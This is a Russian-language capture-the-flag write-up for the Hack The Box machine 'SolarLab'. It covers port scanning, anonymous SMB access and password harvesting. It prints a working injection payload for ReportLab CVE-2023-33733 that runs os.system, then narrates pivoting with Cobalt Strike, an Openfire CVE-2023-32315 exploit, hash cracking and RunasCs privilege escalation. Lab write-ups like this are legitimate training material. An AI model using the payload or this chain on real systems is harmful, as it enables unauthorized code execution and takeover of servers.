Авторы: FaLLenSkiLL Malwarya

Ссылка на тачку HTB:
https://app.hackthebox.com/machines/SolarLab
Разведка
Сканируем порты:
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://solarlab.htb/
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
6791/tcp open http nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -21s
| smb2-time:
| date: 2024-05-13T16:13:30
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Добавляем домены в /etc/hosts
echo "10.10.11.16 solarlab.htb" | sudo tee -a /etc/hosts
echo "10.10.11.16 report.solarlab.htb" | sudo tee -a /etc/hosts
Попадаем на сайтик:


User-flag
Подключаемся по smb под пользователем anonymous

Выкачиваем таблицу с паролями

Логинимся под пользователем Blakeb. Попадаем вот сюда:

Натыкаемся на генератор PDF. Смотрим метаданные файла. Видим, что документ сгенерирован с помощью библиотеки ReportLab PDF Library

Поискав в интернете популярные уязвимости, мы натыкаемся на CVE-2023-33733. Это уязвимость в библиотеке ReportLab, связанная с небезопасной обработкой входных данных, которая позволяет злоумышленнику выполнить произвольный код.
Подробнее тут: https://github.com/c53elyas/CVE-2023-33733
PoC:
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('Здесь мог бы быть ваш payload') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
Перехватываем запрос в burpsuite, внедряем полезную нагрузку

Получаем шелл, читаем user-flag

Root-flag
Просматриваем открытые порты

Запускаем Cobaltstrike, где генерируем SOCKS4 на порту 57378. В качестве альтернативы Кобальту, для проброса портов можно использовать https://github.com/Pokefenn/Chisel.

C помощью proxychains проверяем подключение

Через FoxyProxy получаем доступ к локальному Web-у на 9090 порту

Нас встречает форма логина Openfire

Запускаем msfconsole, пробрасывая весь трафик через захваченную тачку

Воспользуемся эксплоитом для CVE-2023-32315. Он создаст нам новую учетную запись и вернет шелл

Переходим в директорию с файлами бд
Находим базу данных Openfire

Вытаскиваем хэш администратора

Брутим его с помощью OpenFireDecryptPass

Скачиваем на целевую тачку RunasCs.exe. Он позволяет создавать процесс от имени администратора (если известен пароль) с полными привилегиями

Предварительно скачав на рабочий стол пользователя openfire Шелл.exe, запустим exe и поймаем его в кобальте
.jpg)
Читаем root-flag

Tags: